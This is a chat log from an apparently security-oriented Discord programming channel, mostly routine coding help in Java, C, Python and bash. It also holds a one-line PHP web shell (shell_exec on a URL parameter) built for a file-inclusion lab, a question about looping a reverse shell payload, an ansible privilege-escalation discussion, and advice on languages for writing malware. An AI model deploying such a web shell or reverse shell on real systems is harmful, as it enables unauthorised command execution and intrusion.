#programming
1 messages Β· Page 4 of 1
There are a lot of descriptions of bubble sort, and it is a very simple algorithm.
Your goal with this should be understand what bubble sort does, first.
Once you have a good understanding of the algorithm, then you can work on reducing your instructions.
Don't focus on knowing anything complicated, programming and developing are different kinds of tasks, although they seem simplier.
Solve the problem on paper, first.
Then you can write your program. Sitting down and banging on the keyboard to write code is the absolute worst way to approach this domain.
i know what it does i just dont know how to write it like i understand the formula but i couldnt write it out in a ide
Okay, let's say you have 4,2,5,1,3 - could you say the steps in how a bubble sort would sort this?
looks at 4 says is this less than the previous number ofc no previous numbers so moves on looks at next number is this less than the previous numbers yes so swaps now becomes 2,4,5,1,3 then goes through again and again till all numbers are in order
That is not typically how the first pass of bubble sort operates.
damn
That's the first couple of steps, but you aren't thinking general enough.
?
Read a source other than brilliant. If you understand basic algorithms, it's sufficient to explain it. Without a computer science or math background, strongly recommend you look at additional sources such as wikipedia, geeks for geeks, and the great series of youtube videos of folk dances implementing sort algorithms
okay thank you
https://www.youtube.com/playlist?list=PL6lubey42eNAILSBtEBm7YsZlsXGzx6sZ
Ha thats fantastic
hey! I have a bottleneck that I would like to solve
private TaskResponse getTasks(List<CompanyEntity> companies, Integer month, Integer year) {
TaskResponse response = new TaskResponse();
companies.forEach(company -> {
if (company.getEnable() && !company.getEol()) {
company.getTaxs().forEach(tax -> {
if (tax.getEnable()) {
TaskDto taskDto = new ModelMapper().map(tax, TaskDto.class);
tax.getObligations().forEach(obligation -> {
if (month.equals(obligation.getEndMonth())) {
taskDto.setFileId(null);
taskDto.setFileName(null);
getTaskState(taskDto, company.getId(), obligation.getId(), year);
taskDto.setStartDay(obligation.getStartDay());
taskDto.setStartMonth(obligation.getStartMonth());
taskDto.setEndDay(obligation.getEndDay());
taskDto.setEndMonth(obligation.getEndMonth());
taskDto.setPaymentDay(obligation.getPaymentDay());
taskDto.setPaymentMonth(obligation.getPaymentMonth());
taskDto.setCompanyId(company.getId());
taskDto.setCompanyName(company.getName());
taskDto.setCompanyCode(company.getCode());
taskDto.setCompanyInternalCode(company.getInternalCode());
if (taskDto.getStartDay() != null) {
response.getTasks().add(taskDto);
}
}
});
}
});
}
});
return response;
}
this is very very slow is there anyway to increase the performance?
using java spring boot with hibernate
Difficult to help without knowing if and how your data is indexed in your database. Would also need to know where your transactional boundaries are in your service methods.
I have a feeling the query could be more focused to begin with instead of grabbing the entire database each time and filtering in code
No one is going to be able to give you a useful fix, because it's not determined where your code isn't performant. Take some time and learn the profiling tools (last I checked GraalVM was the way to go with Java).
JFR isn't bad either
yeah I tought so. the only idea I had was a custom query instead of 3 nested loops. but in this scenario queries are not allowed
is this homework?
nope its actually from a live app
also assuming java 8+ so look into the stream calls if you're going to use lambdas like that
won't help perf, but may clean up the nested ifs some
not sure why getTaskState is seemingly returning void
that's odd for a getter
going to give a look at profiling
ModelMapper is the culprit. thanks for the advice!
what do you guys think would be the most crucial programming langauges to learn for pentesting/security or just in general cybersecurity?
and would it be a good idea to learn javascript first, then python?
What programming a pentester needs is dependent on the things they need to do on an engagement, which may or may not have similar scopes. One engagement may be internal, another external, another may be focused specifically on a private application or service.
And as for the rest of security, it's org and need dependent. There is no 'most crucial' programming language to learn.
It's useful to have some scripting languages down for task automation, but full programming is less common and quite varied.
thanks, but i started from there, i was hoping, others materials, like video, practice of real world, and so on
Gave +1 Rep to @remote echo
I'd love to help but I'm not comfortable as it seems you are wanting to disable bitlocker
You update the script now I see
Thats more in line with what you are saying now
So I'd create an array with the keys you are after.
Once you have the array, loop over it and run the Get-ItemProperty cmdlet supplying the -Name parameter as the itterator.
Then enter your logic tree for each itterator to check what you are after, include else statements etc.
Define concise for me please, that example is pretty much exactly what I was proposing and is less code than your initial draft
Language : C
I am trying to take a string input in a string object in a structure through gets because scanf only accepts one word .
I wrote the following code :
#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#include<string.h>
struct library
{
char bk_name[30];
char author[30];
int pages;
float price;
};
int main()
{
struct library l[100];
char ar_nm[30],bk_nm[30];
int i,j, keepcount;
i=j=keepcount = 0;
while(j!=6)
{
printf("\n\n1. Add book information\n2. Display book information\n");
printf("3. List all books of given author\n");
printf("4. List the title of specified book\n");
printf("5. List the count of books in the library\n");
printf("6. Exit");
printf ("\n\nEnter one of the above : ");
scanf("%d",&j);
switch (j)
{
/* Add book */
case 1:
printf ("Enter book name = ");
scanf("%s",l[i].bk_name);
// gets(l[i].bk_name);
printf ("Enter author name = ");
scanf ("%s",l[i].author);
Observe the last 4th line .
I was trying to input through that line initially but it doesn't work .
I trying to google but couldn't find a suitable solution .
Any help would be appreciated
Your indentation looks way off at least, makes it harder to read
TaskResponse response = new TaskResponse();
// Use a Stream to process the companies in parallel
companies.stream()
.filter(company -> company.getEnable() && !company.getEol())
.forEach(company -> {
company.getTaxs().forEach(tax -> {
if (tax.getEnable()) {
TaskDto taskDto = new ModelMapper().map(tax, TaskDto.class);
tax.getObligations().forEach(obligation -> {
if (month.equals(obligation.getEndMonth())) {
taskDto.setFileId(null);
taskDto.setFileName(null);
getTaskState(taskDto, company.getId(), obligation.getId(), year);
taskDto.setStartDay(obligation.getStartDay());
taskDto.setStartMonth(obligation.getStartMonth());
taskDto.setEndDay(obligation.getEndDay());
taskDto.setEndMonth(obligation.getEndMonth());```
i wanna learn it
Hey! So I'm building something that requires a QuadTree, and I got the thing really close, but I'm stuck on initializing the QuadTree up to a certain number of nodes (known number) using recursion, does anyone know how this can be done?
What do you mean by "initialize [...] up to a certain number of nodes"? If you mean levels you can pass a parameter with the remaining number of levels. But i think normally you built it only as far as needed for the current values.
Good idea, my friend actually helped me in private, he suggested a binary tree but I skip all the odd levels, I'm probably going to do that, seems easier haha, thanks though!
Gave +1 Rep to @minor zealot
Is javascript good language to write malware
@tidal panther
Oi
Is it possible to call a function inside a function in Powershell?
Doing a pything course and some example recursive code doing the fibonacchi sequence is as goes ```def fib(n):
# The base cases
if n <= 1: # First number in the sequence
return 0
elif n == 2: # Second number in the sequence
return 1
else:
# Recursive call
return fib(n - 1) + fib(n - 2)
print(fib(3))``` and this does return the fibonacchi sequence correctly but mathematically i cannot comprehend this. If you input 3 you get (3-1) + (3-2) which equals 3 not one like it should be and actually outputs. I just need a deeper udnerstanding of the code i guess
Recursive code looks complicated at first but if you break it down i.e. compute it yourself with a small starting number like 5 by hand it will make sense.
Even looking at how fibonacci is computed/defined helps too.
If you pass 3 as an argument then else condition will be executed
...
else:
return fib(3 - 1) + fib(3 - 2)
Since fib(2) returns 1 and fib(1) returns 0 you'll get 1 + 0 = 1
Hmm so BEFORE they get added it gets passed through a second time and THEN finally added?
I find writing it on paper, tracing it out really helps!
When doing recursion, always start with your stop conditions first.
Yes thats what i did at first to try to understand it which is why i am this confused to begin with π¦
And, the inner calls finish execution first
So you can think of the final execution as being backwards
Hmm okay ill look at it again later with all this in mind. Thank you all 4 of you guys!!
This just now clickedπ im just mad it took me this long or that i didnt get it in the first place. Smh. Thank you
Gave +1 Rep to @heavy rampart
That happens, glad you worked it out.
Why does this output nothing
im fairly new to OOP so all this code is messy
this is the typeHash() function
image code is hard to debug π
I'd assume the open function doesn't know if it needs to read or write or that typeHash() doesn't return what you expect it does.
Strip your wordlist to only a few words and put debugging statements inside to detect unexpected behaviour.
found the problem
I put a random hash
that wasnt in the wordlist
that I made
it works now
You can remove a third of all your lines in the typeHash function also
add one return after all the if conditions
or just do the return, and dont set a variable
use a dictionary instead of all the if statements
or just
word = word.strip()
return hashlib[hash_mode](word.encode()).hexdigest()
I dont think that would work
what about the hashlib.
it would mess it up
This just a returns a invalid syntax error
javascript is more for web hacking
You could try C or Python3
for malware writing
of course theres plenty of other languages
but I just recommended the most common ones
because you did it wrong
I tried your as well
its wrong
says module in not subscriptable
uh lemme take a look
at what?
much more readable then that
@lilac holly has been warned.
@true pumice why did you just warn me for no reason?
This is why you were warned.
It is against the rules.
https://www.codewars.com/kata/57eae65a4321032ce000002d/train/python if someone would be able to help me with this kata, my code works as intended but is only showing the first number. I know why its doing this as it was intended but im not sure how to go about fixing it
for i in x:
return 0 if int(i) < 5 else 1``` here is my code
Im eithee not suppoed to iterate through or i need to join them but. Im not sure how to do it without iterating and im not sure how to format join together
The problem is, iteration stops as soon as you hit return the first time. You need to successively build your result and then return only once the whole result
Mmm okay so make an empty string such as counter = [] and then for every result i get, add that to the counter and then return the counter?
That makes more sense but i have absolutely zero idea how to go about that haha
maybe find some tutorials about basic string operations and functions to get an idea about how it is working
... do not use Python 3 to write offensive tooling (malware) JFC
Alrighty thanks!
Gave +1 Rep to @minor zealot
Clearly it's either not working as intended, or the intention is wrong π
Bit yeah the return will return from the function, not the loop
yeah im having a hard time piecing together the little info im picking up from blogs and youtube. Kinda just trying things until something clicks but its not quite clicking
I like the book "automate the boring stuff" for beginner level python
it being free is very nice thank you@brazen eagle been seeing so many $200+ price tags on courses and such
Gave +1 Rep to @brazen eagle
it is nice
get the basics down, they're mostly transferable to other languages as well
I submitted feedback on a kata a few weeks ago - same algorithm implemented in python, java and C++ did not correctly detect in C++ but worked perfectly fine in Java and python. Creator's reply was along the lines of 'it's not me its you bro'
hey guys, best Python or programming language to learn as a new cyber security student?
thinking of just going python for now but cant find a good course to start with.
I enjoyed Dr.Angelas 100 days of code Python bootcamp on Udemy. You can get it quite cheap when it goes on sale. Doesn't have anything to do with cybersecurity but it will teach you the basics and more. Her teaching methods worked well for me and its very beginner friendly.
first program messing around with the windows api, ive always felt intimidated by it (idk why) but any tips/recommendations will be appreicated!
#include "windows.h"
#include <iostream>
using namespace std;
int main()
{
cout << "[+] Opening message box" << endl;
int msgBox = MessageBox(NULL, "My first windows box", "Welcome!", 0x00000004L);
if(msgBox != 0)
{
switch(msgBox)
{
case IDYES:
MessageBox(NULL, "You pressed yes! Please exit. Thanks!", "YES", 0x00000000L);
cout << "[*] Button Pressed:\tYES" << endl;
break;
case IDNO:
MessageBox(NULL, "You pressed no D: Goodbye", "NO", 0x00000000L);
cout << "[*] Button Pressed:\tNO" << endl;
break;
}
cout << "[+] Done!" << endl;
}
}
im trying to start small and build up some confidence/become comfortable with it before i really try to go deep into it...
That's odd
ππ» thank you
Gave +1 Rep to @mighty holly
Hello guys,,,i'm trying to build web application using django and i want to create questions which will be having multiple choices. Any help on how to implement this will be highly appreciated
Have you taken a look at the Django tutorial? With some adaptation, it sounds like the sample Polls app has relevance to what you want.
Hello I am new to python programming and was wondering if anyone could help me out with a coding project im working on for my class. I have everything done except for one minor detail I cannot find in my book or googling.
What's a recommende language to learn for hacking for a beginner with little to know coding experience
Recommended *
for hacking??? mostly scripting stuff like python
for low level binary stuff it is c and assembler
for malware... well can't discuss that as it is against rules of the discord
tbh anything that executes code but that's about as much that I'll say about it
Ask your teacher
I wouldn't name a specific language really, some of them have got similarities that transfer over to other languages. To learn about hacking you don't necessarily need to know how to code but it does help if you have an understanding of the commonly used languages so that you're able to spot flaws more easily.
quick question to the pros, is it possible to start an index from 1 instead of 0 in a python list?
I tried googling it but most of them are over my head
Burn the first item in the list. But then your size will be off by one.
Don't think of index as the location in the list, it's the offset from the start of the list
oh, got it
thanks for the help juun
okay, I did some more googling, took me a while to find exactly what I was looking for, turns out I can use enumerate() for that
anyone here good at python and also doing the advent of code?
what's up?
have you done today's task?
Not sure if my solution is any good. Would appreciate if a more mature programmer could take a look at it
No I haven't, cc @magic falcon are we allowed to share AoC answers here? (Spoliered)
If not, you could probably ask in the python servers advent-of-code channel
I would definitely spoiler them and include text that tells what the spoiler task - I would prefer it if technique is discussed, but not necessarily the task solution
hey guys i started learning python a while ago and now i "mastered" the basics. Now what do i do
do the Advent of Code
is that on tryhackme
ok
Is this perhaps a good use of a thread?
It's a possibility. If it's super busy, I won't be able to moderate it much this week or next though
Probably not
Oh wait that AoC
Need to look into Advent of code as well
π¦π«£
import os
path = '/home/pi/FaceRecProject/dataset'
cam = cv2.VideoCapture(0)
cam.set(3, 640) # set video width
cam.set(4, 480) # set video height
face_detector = cv2.CascadeClassifier('/home/pi/FaceRecProject/haarcascade_frontalface_default.xml')
# function to get new id from label data
def getIdFromLabels(path):
imagePaths = [os.path.join(path,f) for f in os.listdir(path)]
ids = []
maxid = 0
for imagePath in imagePaths:
id = int(os.path.split(imagePath)[-1].split(".")[1])
if id > maxid:
maxid = id
maxid = maxid + 1
return maxid
# For each person, enter one numeric face id
#face_id = input('\n enter user id end press <return> ==> ')
face_id = getIdFromLabels(path)
face_name = input('\n enter user name end press <return> ==> ')
print("\n [INFO] Initializing face capture. Look the camera and wait ...")
# Initialize individual sampling face count
count = 0
while(True):
ret, img = cam.read()
#img = cv2.flip(img, -1) # flip video image vertically
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_detector.detectMultiScale(gray, 1.3, 5)
for (x,y,w,h) in faces:
cv2.rectangle(img, (x,y), (x+w,y+h), (255,0,0), 2)
count += 1
# Save the captured image into the datasets folder
cv2.imwrite("/home/pi/FaceRecProject/dataset/User." + str(face_id) + '.' + str(face_name) + '.' + str(count) + ".jpg", gray[y:y+h,x:x+w])
cv2.imshow('image', img)
k = cv2.waitKey(100) & 0xff # Press 'ESC' for exiting video
if k == 27:
break
elif count >= 30: # Take 30 face sample and stop video
break
# Do a bit of cleanup
print("\n [INFO] Exiting Program and cleanup stuff")
cam.release()
cv2.destroyAllWindows()```
When I run this I'm getting ```
Traceback (most recent call last):
File "/home/pi/FaceRecProject/datagathering.py", line 35, in <module>
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
cv2.error: OpenCV(4.6.0) /tmp/pip-wheel-u79916uk/opencv-python_ea2489746b3a43bfb3f2b5331b7ab47a/opencv/modules/imgproc/src/color.cpp:182: error: (-215:Assertion failed) !_src.empty() in function 'cvtColor'
Uhhh, whatβs this for exactly?
Well you are trying to write a program for facial recognition, I'd say the error lies there
A face recognition program using opencv and python on a raspberry pi
Yeah but where exactly is my question
But whatβs your end goal?
What do you plan to do with it
And donβt say learn
Well I'm trynna make like an attendance system for my school
This code was working fine before but I ended up reflashing my rpi and had to do all the installation stuff
Now I can't get the code to work
i dont know python. but the error you are getting seems to indicate there is no source found regarding the image/capture used in the cvtColor array.
[ error: (-215:Assertion failed) !_src.empty() in function 'cvtColor' ]
is the path correct, is your cam connected properly, is it on π
I could be completely wrong. i would try and validate the image's existence earlier on maybe
Yeah the paths are correct and the cam is on
actually lemme check the paths rq
img is commented out?
where?
oh its just to flip the camera vertically
I dont need that line
it doesnt affect the rest of the code
but you're passing img to the function online 35
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
and img is never defined
nvm I see the cam.read() now
yeah its above it
should maybe check the documentaton for the cvtColor fnct to see what type it takes as argument
hmm alright
because it throws you an error from a function that is defined in the package
man the thing I dont understand is this code was wrking fine before but then it just stopped working
all I did was reinstall the os on my rpi
mmm weird indeed
did the path to your image changed when you reinstalled it?
what happen when you try to print(img)
nah I fixed that
okay so I fixed the cvtColor error it was the path
there was a typo
but now I'm getting IndexError: list index out of range
it gave me none as output
is it the camera.....?
Aight thx
Gave +1 Rep to @ebon berry
did you manage to get it working? π
almost
I was reading a csv file in python using pandas and converting it to list .
Now , when I print the list , any repetitive values attaches a ".<How many times it repeated>" number to itself .
for Example : ['E1','E2,'E3','E1','E1'] is getting printed as ['E1','E2,'E3','E1.1','E1.2']
Any idea on how to avoid that ?
Hi! I'm playing around in the File Inclusion playground and tried to use PHP $_GET for getting the input I want to use with shell_exec in my remotely hosted php file via the URL+?cmd=whatevercommand. For some reason it just doesn't want to work. Any ideas? First time trying PHP in general so am a bit lost π . If I manually input the command into the php file for shell_exec to execute, it works flawlessly
<?php
$command = $_GET['cmd'];
echo shell_exec($command);
?>
I don't see an issue with your code. What's the complete URL string you use? Do you get an empty response or what is the issue?
With just doing echo shell_exec(ls) in the php without the $_GET it works
the second ? is wrong
the file you want to access is still playground.php, you just want it to have 2 arguments now
Ohh, that's right! Now it works, thank you π
Gave +1 Rep to @minor zealot
you can use
squeeze=True
option when reading the CSV file
Hi, I want to ask how I got a shell as root in a box in TryHackMe. The priv esc method was to abuse ansible-playbook. I was able to finish the box but I am still flabbergasted.
The full exploit was to add malicious code on a certain .yaml file, execute the bash script with sudo privileges as another user.
Basically, I narrowed down my investigation to ansible.cfg which has this:
and the .yaml file calling the task:
I'm guessing the become: true overwrote become=false in the ansible.cfg and afterwards since it was ran with sudo it was done as root.
what room is this? this seems fun π
Look at how ansible inherits properties and in which order - ansible.cfg sets global 'default' values for ad-hoc and playbook runs.
I don't remember the room name, but IIRC hydra was working on an ansible room awhile back....
nah, I was using ansible to build a room
Aratus
The weird thing is I am sudoing as a different user, not as root so its weird to get a root shell
Not at all. What's the default account used for escalation? What does becomes=true do? These answers are in the ansible docs
Have you found the solution, yet?
You can use the counter from collection
Hello there, I have been into hacking for a year, and want to learn programming now. Which language do you recommend for reverse engineering ?
@spring shellHow long do you spend daily on practising hacking?
Depends, but usually from 1 hour to sometimes 3 hours
Been to many ctfs I found that I am good OSINT and crypto but need to learn reverse engineering from it's basics
Any guide ?
No... I'm a beginner, but they will answer you in the morning possibly, most of people went to sleep during this time
Thanks for letting me know ππ»
Gave +1 Rep to @quartz wharf
#include<stdio.h>
int main () {
int n;
printf("Enter size:\n");
scanf("%d",&n);
int arr[n];
printf("Enter value :\n");
for(int i=0;i<n;i++){
scanf("%d",&arr[i]);
}
for(int i=0;i<n;i++){
if(arr[i]<=5){
printf("%d\t",0);
}
else if(arr[i]>5){
printf("%d\t",1);
}
}
return 0;
}
I'm not sure what's going on here. It can't find the header. It's all there, so i'm confused and don't know where to start.
is it in your includes path?
ah looks like
might not like the spaces
have you tried using PROGRA~1 or PROGRA~2
check which is applicable
I'm not sure what that means.
oh nice
I'll have to give it a try once I wake up 
I also uninstalled Mingw as it was the x86 version for some reason? I'm on 64
and then just installed it with chocolatey
i appreciate the help but the question is for python π
Youβre returning on the first number.
def func():
print(βhelloβ)
return 1
print(βworldβ)
Returns literally βreturnβ to the last place of execution before the function was called
Read what itβs asking to return, youβll have to make a string of numbers
yeah the issue is me not knowing how to do that haha. I was recommended to learn basic string operations so i tried that
my school picked up so as much as i want to learn it will have to be at a later point but thank you for the help regardless guys
Gave +1 Rep to @true pumice
Ah basically, since become=true override the default config, and we ran it with sudo, the default account which is root was used to run the process so thats how we got a root shell
I got this question on my interview how to refresh an html page every X seconds without a script. Never done that, never had a use for that... who even does this? So I do some after googling..
its deprecated
11 years ago!!!
is this a fair question?
Legacy crap shows up a lot; what this is testing is 'reasonable' historical knowledge of your primary domain; i don't think it's particularly fair as you don't have 10+ years of domain experience
okay that legacy thing is a fair point. But this particular thing, I have never, ever seen this being used anywhere π
ah well... I left some feedback on the test as some of the questions were kind of unclear
but that was an interesting experience, haha
both of which are documented in a lot of places, and have been deprecated since the early 00s
yes fair enough indeed. Just felt like a lot of the questions were very obscure little things. But now I know at least
is using opera browser a legitimate answer? IIRC it has that feature builtin π
haha, no that wasn't one of the options
For a front end programming interview? Extremely doubtful. The question is centered around knowledge of HTML, not specific browser engines
one of the CSS questions was, 'how can you blend an image into the background without using filter'
ok but blend how? hue? opacity? blur?
π maybe I should have ticked no to 'are you fluent in English' to get more time haha
For a lot of 'quick answer' type questions, you think too deeply about it
Think about it from a management perspective, as much as that sucks. Blend to you means something very different than to the hiring manager who may or may not be technical
oh, I prob misread where it metioned front end programming stuff, I thought just how web work in general π
but Im afraid they wont actually evaluate my test but just look at the score and then reject me based on that π
but we shall see
That's very common for stuff like that.
yeah I figured
Part of that is they are looking for a specific type of person, or they already had a candidate in mind when they opened the role
they have to have multiple interviews for the role, even though they know who they really want to hire before the interviews even happen
right
I dont know anything about the role pretty much. Its via recruiter > recruiter > client
I never saw the requirements. For all I know they are looking for a 10+ year exp senior π
Yep. Also super common.
The recruiter doesn't know exactly what the role wants, they got a shortlist of reqs for the role and are looking at anyone who might qualify
eh
itt's never a mistake, never tell yourself no when looking at a role you want
apply, do your best, and they might bite
worst case is they tell you no and it's back to the status quo
I mean they sent me some BE / cloud engineer assessment by mistake
I did the test but all the AWS services questions was random guessing π₯²
yes totally agree with that, I really appreciate the learning experience regardless of the outcome
"What is AWS Lambda?" π
yeah there were like 20 questions about which AWS service to use in X scenario
Β―_(γ)_/Β―
I did do a beginners AWS course a long time ago but I concluded from that course that I want to stay far away from AWS
not my thing haha
I did an online class for AWS a while back ago and was supposed to get AWS certified but then COVID came and I was unable to find a testing center that was open within the time frame I had to use my free voucher.
remind me to never do front end work ever
I mean I'd say I don't know but I'll look it up on css-tricks right now
Yea i know
its really something you wouldnt need to know from the top of your head anyway......... so trivial π
CSS has always been a big meanie to me anyways
the answer is. You ask the graphics people to just deliver you the adjusted image
whaha
ye that would work
lol
yeah ok
nah that was a joke hahaha
in good news, I achieved a little bit of leet today π I solved a challenge within 1 minute w 1 line of code π
granted it was an easy one, but still.
I mean if the graphics guys blend with a transparent background it would work
and cost less CPU
yeah it could but I could do it quicker probably and then we can change it on the fly
yes, but eco-design
that seems like a better long term solution. Ya know, if some PM thinks the opacity should just be .5 % higher π
lol
too bad for them
true
who's the UX designer, you or the PM?
^_^
newname = "test"
await ctx.author.edit(nick = newname)
I am getting a 403 out of this while creating a discord bot, can someone help figure out what's wrong?
bot already has admin permissions
could you show the full error please?
403 is usually error related to authorization/permission
discord.errors.Forbidden: 403 Forbidden (error code: 50013): Missing Permissions
it doesn't explain any further
@primal inlet u need to give the bot more permissions on the discord developer portal or wtv
I dont know how to give a bot more permissions anymore cuz for aome reason the prital isnt what i remember back when i made my bot, but i'll show u my bots page
Idk if this will help
I had no bot permissions set
I added the bot to the server with administrator permissions
permissions=8
it is supposed to be able to do everything in the server, that's why I am so confused
I am suspecting wrong syntax, the ctx.author.edit()
Go into settings and give it change nickname permission
It may need all the permissions switched on even tho it has admin perms, idk
Im rpetty confident that the syntax is correct
Idk if this code is correct but you coukd do something like this for debugging
# Check if the bot has the required permissions before attempting to edit the user's nickname
if ctx.me.guild_permissions.change_nickname:
# Edit the user's nickname if the bot has the required permissions
await ctx.author.edit(nick="test")
else:
# Inform the user if the bot does not have the required permissions
await ctx.send("I do not have the required permissions to edit your nickname.")
I wrote that with no guides or references so at least now I have my self-confidence back
Lol
@primal inlet it is inside an event handler and everything right
Like everything surrounding that code is correct yeah
yea it's all good I am only getting the permissions error when I try to change nickname, I give a role before that and the role works just fine
Whos nickname are u trying to get it to change?
mine lol
It might be a case of like, it cant change your nick cuz your the owner
Cuz no one has permissions to modify the owners nick
U can make it modify another bots nickname
Just get a placeholde rbot dont give it admin rpiviledges
I'll just an alt to test
And test basic stuff on that
Yeah or an alt
Lol π
Cant believe you forgot that u cant modify server owner stuff
Its like tryna mute a mod on a server
sometimes people lack brain, most of the time those people are me
That's total rubbish
Oh @rustic dirge so turns out that a user can change the owners nick (with the correct permissions) but a bot account can't
Yh thats what i thought
Its to do w roles
The way discord roles work is funky, so everything is outta wack
hii guys i need a help!
i never really into learning and didnt like it but i am gonna join a company in few days and they r gonna train me JAVA and i dont have any interest but i love their company
my main question is how to build interest so that i can easily understand and fast?
Well building things is cool and software engineering is a good career path if youre looking for lots of opportunities and decent pay
Why are you not interested in programming? π
You may be in the wrong field if you aren't into learning, as this one requires continuous learning
im from automotive background and i dont want to sit infront of laptop all time
thats true too
Right, that will be tricky then
Software developers tend to spend a lot of time at a laptop/pc
do u guys have any sideways to make money? i would like to make some passive income.
who else saw it in today advent?
Didn't look too closely
you mean the to lowercase and then specifying something that uses both....???
Oh heh
Also the split is a bit dangerous if the path has more than 2 /s
Ah wait that uses the mediatype
Ah bloody hell
in a bash script, in an if else statement, if the first statement is true i want to exit the script, but if its false i want to continue with the else statement. how would i go about doing that?
i have if [ condition ]; then echo 'this content' exit but my echo command isnt printing
nevermind, i figured it out
i forgot a dollar sign to specify a variable in the if condition
I'm compiling a beginner 'vuln' elf executable. I've passed the -fno-stack-protector and while trying to check out esp i continuously get a cannot access memory error.
do you have SELinux things enabled?
No, it's just an Arch base install.
and I've disabled randomize_va_space
i think..
ok, maybe not..
mmm that didn't help. I think it's break time.
sorry, I don't intentionally try to make vulnerable executables π

I'm following a book: The Art of Exploitation. Just trying to view what the stack pointer's doing.
welp, wish me luck π (Proposal for a talk for Devoxx FR)
IF you are following the book, you should be using a VM with the 'intended' version of ubuntu: 8.04.
hey guys I was browsing a website and I received this notification upon entering the site. I simply navigated to to and entered no information. Now I am only talking hypothetically here because I am an extreme noob. But does this notification indicate there would be some sort of SQLi vulnerability with the site. I only ask because I just finished that room. This site is a company I work for and I have never seen the error message just pop up upon entering. this is the message. Notice: Function register_block_script_handle was called incorrectly. The asset file for the "editorScript" defined in "contact-form-7/contact-form-selector" block definition is missing. Please see Debugging in WordPress for more information. (This message was added in version 5.5.0.) in /mnt/BLOCKSTORAGE/home/180729.cloudwaysapps.com/yyfpjxgfvr/public_html/wp-includes/functions.php on line 5835
wrong room
No, it doesn't indicate that
yeah i figured that after i paid more attention and saw php.....but im a complete newbie so thats about all i understand
would it be possible to wrtie a program that you enter any name and it can go out and find all social media , emails acounts ,ect that person has or would the be unethical my idea is to automate it to do oscint of a person to speed up the process
There exists one already. It's called sherlock
ill look in to that ty
Gave +1 Rep to @whole yacht
Itβs not unethical itself, itβs just the scraping process that might be considered unethical or break the terms of the platform
But yes, thereβs plenty of tools that do that, some of which are better than others
ok ty
Gave +1 Rep to @true pumice
hey guys i started learning python about 1 year ago. I'm confident that i know the basics and i want to do the next move. What should it be?. Start learning it over again to remember some things or move on
Wow
pretty sweet
Scale up on a project that requires multiple components
like make up my own or look one up on the internet
for project ideas
Should be something interesting on the net, though if you have a particular need, go for it
ok
Hello there I get this error when ever I make a WindowsAppForm Application in Visual Studio 2022 (17.4.3)
System.UnauthorizedAccessException: Access to the path 'C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Temp.txt' is denied.
I have never gotten this before. I have checked and yes it does require special perms but like I said this should not be happening and giving me an error.
nvm apparently it got fixed magically when I reverted to 17.4.2 and then back to 17.4.3 π
Maybe use a path for which you have access?
I wouldn't recommend making temp files in Program Files
What programming language would you recommend learning after python that will be reasonable and adequate in use in cyber security sector?
Why do you think it's reasonable, and in what field can you get up to, as an individual?
I'd try one of the C flavoured languages. It's widely used in many fields and can't hurt to know a deep and sometimes confusing language.
Depends on what interests you the most imo
Web - JS, PHP, SQL, etc.
Red Teaming - C#, C++
Binary Exploitation or RE - C, any assembly language
This is not a comprehensive list by any means, but I think itβs best to learn a language when you have a reason or application for it.
I'd recommend x86 and x86-64 over "any assembly language" for binary exploitation.
No good learning arm or mips when you're trying to exploit x86/x64 platforms.
I originally wrote x86 but then decided to be more general with it since thereβs more than x86 out there, but yeah x86 is the most applicable
I'd throw rust in the list, it's gaining popularity
^ Linux kernel is now optimised for rust
Thanks for guidance, guysπ
Java, much as we all hate it, is still widely used in enterprise
I'm not going for Java π
# Check for working domains and save them in valid.txt
for domain in $(cat domains.txt)
do
if [[ $(ping -c 1 $domain) ]]
then
echo $domain can be reached
echo $domain >> valid.txt
else
echo "$domain can't be reached"
fi
done
can someone please explain to me why using
if [ $(ping -c 1 $domain) ]
won't work
I would like to know the difference between using a single [ and double [
I'm tryin to be a Web Dev do im learning frontend and backen stuff, but todays are do morΔ popular rust and wasm in web dev and even python
sorry for my autocorrect text replacement, im polish
really rust is better than c++ today?
haha the proofs of rust beating c and c++ for linux nvme drivers show that they are very evenly matched currently
i want to create a script that constantly runs a reverse shell payload until a connection is recieved in bash how would i go about this id obviously need to create a loop but how would i get the loop to stop when a connection is successful?
I need some evidence to believe that - you have a paper that demonstrates it?
wasm is still very very rare
Did RUST beat C in NVME Linux Driver Implementation? We'll go through the benchmarks that were presented during the Linux Plumbers Conference and see how RUST and C compare when it comes to performance in the Linux Kernel Drivers.
My Linux Cheat Sheet and 25 Page Checklist here:
π https://learn.savvynik.com
Free YouTube Tools:
https://editbul...
@magic falcon β¬οΈ
Source code please, this benchmark is pretty useless without knowing how the code was written.
Oh.... Think that is maybe linked in description
Or it is on github as it is Linux drivers after all
also the video clearly explains that rust can obviously improve just currently it is about equal
https://github.com/wedsonaf/linux/tree/nvme
https://github.com/metaspace/linux
seems to be the sources
also the slides include source code
which are here for the slides: https://lpc.events/event/16/contributions/1180/attachments/1017/1961/deck.pdf
Is this the code used for the benchmarks? It's unclear
From the slides, there is also unsafe C code being used as the driver. As a benchmark this is kind of useless to me, where is the profile breakdown of time spent in C functions vs Rust? What were the compiler options? The slide deck also doesn't spend any time talking about what the NVME driver written in C is, nor where the source for that driver is.
As a rigorous demonstration of Rust being comparable, I find it very lacking. I'm not saying it's BS, just that the evidence presented is not convincing to me. It's an interesting idea for sure.
fair
shadow just went with that the video is trustworthy but obviously it might not be
No worries, part of my job is to investigate assumptions made by programmers π
I assume that I am correct and the users are wrong
kek
I am trying to implement Pagination on a project, its under development, kinda private as of now.
These buttons I've embedded them in the right place,
These buttons are not working yet
The Javascript code designed for the working of these buttons, it needs to be integrated with the existing codebase to make that happen
Many have used li tag to demonstrate and render the contents in main site
Like this for instance
Its a Jekyll site I'm working on rn
If you want specifics then I'll have to DM you the details. It's a project dedicated to the cybersecurity community itself so until its working as expected, we gotta keep it private π
If you're up for looking at the source code I can DM you that
I have no experience with Jekyll but what is the exact question you have
How do I make those buttons work
The source code for those buttons is in the codepen project file above
Those buttons are not responding yet,
Haha ok
I don't know JS much:/
You can share your repo in a DM with me but I might not look at it until Monday ( bc christmas ). If you are willing to wait a bit, go ahead and send it to me
Yeah sure thing
Would it be possible to make a GUI in Python for Google Dorks?
I'm slowly learning about PyQT atm and want to make a project where Dorking is a bit more streamlined
For sure!
Battery went out while writing explanation,
Start with a base
